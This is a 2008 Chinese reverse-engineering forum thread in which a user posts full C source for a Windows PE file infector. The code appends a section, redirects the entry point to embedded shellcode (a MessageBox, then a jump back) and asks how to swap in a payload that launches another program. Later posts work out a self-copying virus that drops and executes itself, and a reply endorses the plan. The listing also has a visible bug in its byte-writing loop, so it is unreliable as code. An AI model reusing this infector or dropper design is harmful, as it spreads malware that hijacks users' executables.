首页
社区
课程
招聘
[求助]請會的人 說明一下
发表于: 2008-5-3 15:32 4811

[求助]請會的人 說明一下

2008-5-3 15:32
4811
//???注明 By 小浩  QQ:82602935
#include <afx.h>
#include <stdio.h>
#include <assert.h>

unsigned char szHexCode[]={0x6A,0x40,0xE8,0x06,0x00,0x00,0x00,0x78,
0x34,0x68,0x00,0xEB,0x09,0xE8,0x04,0x00,0x00,0x00,0x78,0x34,0x68,
    0x00,0x6A,0x00,0xB8,0x8A,0x05,0xD5,0x77,0xFF,0xD0,0xe9,0x00,0x00,0x00,0x00};

CString StrOfDWord(DWORD dwAddress)
{
        unsigned char waddress[4]={0};
     
        waddress[3]=(char)(dwAddress>>24)&0xFF;
        waddress[2]=(char)(dwAddress>>16)&0xFF;
        waddress[1]=(char)(dwAddress>>8 )&0xFF;
        waddress[0]=(char)(dwAddress    )&0xFF;
     
        return waddress;
}

int Align(int size, int ALIGN_BASE)
{
        int ret;
        int result;
     
        assert( 0 != ALIGN_BASE );
     
        result = size % ALIGN_BASE;
        if (0 != result)      
        {
                ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
        }
        else
        {
                ret = size;
        }
     
        return ret;
}

void main()
{
        char szFilePath[MAX_PATH]={0};
        printf("Please Input FilePath:");
        scanf("%s",&szFilePath);
     
        char szFilaBak[MAX_PATH]={0};
        lstrcpy(szFilaBak,szFilePath);
        lstrcat(szFilaBak,".bak");
    int nRet=CopyFile(szFilePath,szFilaBak,FALSE);
    if(!nRet)
        {
                printf("CopyFile Error!\r\n");
                return;
        }

        FILE *pFile;
        pFile=fopen(szFilePath,"rb+");
        if(pFile==NULL)
        {
                printf("fopen Error!\r\n");
                return;
        }
        fseek(pFile,0,SEEK_SET);

    IMAGE_DOS_HEADER iMageDosHeader;
        fread(&iMageDosHeader,sizeof(IMAGE_DOS_HEADER),1,pFile);
    if(iMageDosHeader.e_magic!=IMAGE_DOS_SIGNATURE)
        {
                printf("Unknown type of file!\r\n");
                return;
        }
        fseek(pFile,iMageDosHeader.e_lfanew,SEEK_SET);

        IMAGE_NT_HEADERS iMageNtHeaders;
        fread(&iMageNtHeaders,sizeof(IMAGE_NT_HEADERS),1,pFile);
        if(iMageNtHeaders.Signature!=IMAGE_NT_SIGNATURE)
        {
                printf("Unknown type of file!\r\n");
                return;
        }

        int nNumOfSections=iMageNtHeaders.FileHeader.NumberOfSections;
    printf("%d Segment\r\n",nNumOfSections);

        int nFileAlignMent,nSectionAlignMent;
        nFileAlignMent=iMageNtHeaders.OptionalHeader.FileAlignment;
        nSectionAlignMent=iMageNtHeaders.OptionalHeader.SectionAlignment;
    printf("File Align Ment:%x\r\n",nFileAlignMent);
    printf("Section Align Ment:%x\r\n",nSectionAlignMent);

        DWORD dwOldOEP=iMageNtHeaders.OptionalHeader.AddressOfEntryPoint;
    printf("File OEP:%08x\r\n",dwOldOEP);

        IMAGE_SECTION_HEADER iMageSectionHeader;
        for(int i=0;i<nNumOfSections;i++)
        {
                fread(&iMageSectionHeader,sizeof(IMAGE_SECTION_HEADER),1,pFile);
                printf("Segment name:%s\r\n",iMageSectionHeader.Name);
        }

        IMAGE_SECTION_HEADER iMageNewSection;
        memset(&iMageNewSection,0,sizeof(IMAGE_SECTION_HEADER));

        strncpy((char*)iMageNewSection.Name,".x4h",strlen(".x4h"));
    iMageNewSection.VirtualAddress=Align(iMageSectionHeader.VirtualAddress
                +iMageSectionHeader.Misc.VirtualSize,nSectionAlignMent);

        int extraLengthAfterAlign=Align(30,nFileAlignMent);

        iMageNewSection.Misc.VirtualSize=Align(extraLengthAfterAlign,nSectionAlignMent);

        iMageNewSection.PointerToRawData=Align(iMageSectionHeader.PointerToRawData
                +iMageSectionHeader.SizeOfRawData,nFileAlignMent);

        iMageNewSection.SizeOfRawData=Align(0x1000,nFileAlignMent);

        iMageNewSection.Characteristics=0xE0000020;
     
          iMageNtHeaders.FileHeader.NumberOfSections++;

        iMageNtHeaders.OptionalHeader.SizeOfCode=Align(iMageNtHeaders.OptionalHeader.SizeOfCode
                +0x1000,nFileAlignMent);

        iMageNtHeaders.OptionalHeader.SizeOfImage=iMageNtHeaders.OptionalHeader.SizeOfImage
                +Align(0x1000,nSectionAlignMent);

        iMageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
        iMageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
        iMageNtHeaders.OptionalHeader.AddressOfEntryPoint=iMageNewSection.VirtualAddress;

        fseek(pFile,0,SEEK_END);
        fseek(pFile,iMageDosHeader.e_lfanew+sizeof(IMAGE_NT_HEADERS)
                +nNumOfSections*sizeof(IMAGE_SECTION_HEADER),SEEK_SET);
    fwrite(&iMageNewSection,sizeof(IMAGE_SECTION_HEADER),1,pFile);

        fseek(pFile,iMageDosHeader.e_lfanew,SEEK_SET);
        fwrite(&iMageNtHeaders,sizeof(IMAGE_NT_HEADERS),1,pFile);

        fseek(pFile,0,SEEK_END);
     
        CString szOepA;
        DWORD dwAddress;
        dwAddress = 0-(iMageNewSection.VirtualAddress-dwOldOEP+sizeof(szHexCode));
        szOepA=StrOfDWord(dwAddress);
        for(i=0;i<4;i++)
        {
            szHexCode[32+i]=szOepA.GetAt(i);
        }

        for (i=0; i<Align(0x1000,nFileAlignMent);i++)
        {
                fputc(0,pFile);
        }
        fseek(pFile,iMageNewSection.PointerToRawData,SEEK_SET);
        for (i=0; i<sizeof(szHexCode);i++)
        {
                fputc(szHexCode,pFile);
        }
        fclose(pFile);

}

szHexCode 的內容是如何得到的
假如我想把szHexCode 的內容改成可以打開c:\a.exe的 那  c 下的代碼是:
#include <windows.h>
void main()
{
WinExec("c:\\a.exe",0);
}
如何把這個程式變成機器碼放進szHexCode 內呢?

ps
如何把這個程式變成機器碼放進szHexCode 內呢?
即提取這個程式那部份的機器碼 再放進szHexCode內
因為我試過把整個程式都讀成機器碼放進去是不能正常執行的!

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不明白這個程式如何令受感染的exe檔會在執行原本功能前 出現一個messagebox对方方塊??

這程序會在指定exe檔後面加上一個節
之後給感染的exe檔會在執行原本功能前 出現一個messagebox对方方塊
我想知是如何做到在執行原本功能前 出現一個messagebox对方方塊,這功能,不知道是否和szHexCode 有關?
但我自已的研究所得是 其實和szHexCode 沒有關係 szHexCode 只是令程式jmp回原本的程式入口處 但究竟是如何
產生一個messagebox对話方塊的呢?

如果產生一個messagebox对話方塊,是和szHexCode 的內容有關係的 那zHexCode 的內容又如何得到呢?

假如我想把szHexCode 的內容改成可以打開c:\a.exe的
那  c 下的代碼是:
#include <windows.h>
void main()
{
WinExec("c:\\a.exe",0);
}
如何把這個程式變成機器碼放進szHexCode 內呢?
即提取這個程式那部份的機器碼 再放進szHexCode內
因為我試過把整個程式都讀成機器碼放進去是不能正常執行的!
2008-5-3 17:06
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不明白這個程式如何令受感染的exe檔會在執行原本功能前 出現一個messagebox对方方塊??
這程序會在指定exe檔後面加上一個節
之後給感染的exe檔會在執行原本功能前 出現一個messagebox对方方塊
我想知是如何做到在執行原本功能前 出現一個messagebox对方方塊,這功能,不知道是否和szHexCode 有關?
但我自已的研究所得是 其實和szHexCode 沒有關係 szHexCode 只是令程式jmp回原本的程式入口處 但究竟是如何
產生一個messagebox对話方塊的呢?

如果產生一個messagebox对話方塊,是和szHexCode 的內容有關係的 那zHexCode 的內容又如何得到呢?

假如我想把szHexCode 的內容改成可以打開c:\a.exe的
那  c 下的代碼是:
#include <windows.h>
void main()
{
WinExec("c:\\a.exe",0);
}
如何把這個程式變成機器碼放進szHexCode 內呢?
即提取這個程式那部份的機器碼 再放進szHexCode內
因為我試過把整個程式都讀成機器碼放進去是不能正常執行的!
2008-5-3 22:09
0
雪    币: 415
活跃值: (34)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
直接放堆栈弄不平当然会出问题。原理应该是改写入口跳到附加段执行,弹出对话方框后继续跳走执行。
  szHexCode的内容时面有这个代码:
004BBCE6    6A 00           push    0
004BBCE8    B8 8A05D577     mov     eax, USER32.MessageBoxA
004BBCED    FFD0            call    eax
004BBCEF    E9 00000000     jmp     004BBCF4

不懂的部分可以发传迅给我。
2008-5-4 00:34
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
謝謝(我不能發消息=.=) szHexCode的内容 包括了 產生一個对話方塊 之後再jmp去原程式的入口位址 对嗎?
那這段szHexCode的内容如果想用c/c++來編寫應該如何寫呢? 即好像上面那個

#include <windows.h>
void main()
{
WinExec("c:\\a.exe",0);
}

寫完用vc compile完後, 如何做  , 才可以放入szHexCode等它可以在執行原程式前先執行這段code?
2008-5-4 09:25
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
請問如何編寫這種shellcode?
我用ollydbg打開這個程式 是否直接copy它的機碼 放進szHexCode 就可以呀 ?
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Sample code for < Win32ASM Programming >
; by 羅雲彬, http://asm.yeah.net
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Test.asm
; 編程環境測試程式碼
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令進行編譯和鏈結:
; ml /c /coff Test.asm
; rc Test.rc
; Link /subsystem:windows Test.obj Test.res
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 檔定義
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
includewindows.inc
includeuser32.inc
includelibuser32.lib
includekernel32.inc
includelibkernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 資料段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data

szCaptiondb'恭喜',0
szTextdb'當您看到這個資訊的時候,您已經可以編譯Win32組合語言程式了!',0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 程式碼段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
start:
invokeMessageBox,NULL,offset szText,offset szCaption,MB_OK
invokeExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
endstart
2008-5-4 09:32
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
2008-5-4 11:20
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
8
你上面贴的代码一般使用于少量语句时,可以直接使用,比较方便
但对于大量的代码,写成DLL,利用DLL的重定位表,
把DLL作为一个新区块进行附加,当然也可以添加到原有区块
2008-5-4 12:54
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
但如果想把病毒(一樓的那個程式)自已附加在exe檔後面 ,  那這個病毒程式可否寫成
1) 讀取病毒程式自已 放入exe 檔的data段內
2) 當被感染的exe一執行便先運行我的shellcode , 把data段內的病毒程式寫入Hard Disk 再利用WinExec等API執行它

請問這個思路可行嗎?
問題是:
1)如何把病毒寫入exe檔的data段內?
2)shellcode 如何在data段內讀取資料再寫入HARD DISK 再執行它?
2008-5-4 15:13
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
10
思路可行的。针对你的两个问题,都是比较基本的内容
(1)关于PE格式的各种基本操作,具体实现可以参考kanxue的两本书
或者参考论坛精华集,或者直接GOOGLE,这方面资料已经很多。
(2)关于shellcode,正如7楼那样写段代码使用功能,然后提取再使用1楼中的方法进行。
可以参见failwest兄的新作《0day安全:软件漏洞分析技术》http://bbs.pediy.com/showthread.php?t=63010
2008-5-4 22:58
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
http://bbs.pediy.com/showthread.php?t=51948
為何我不能下載??
2008-5-5 00:03
0
游客
登录 | 注册 方可回帖
返回
//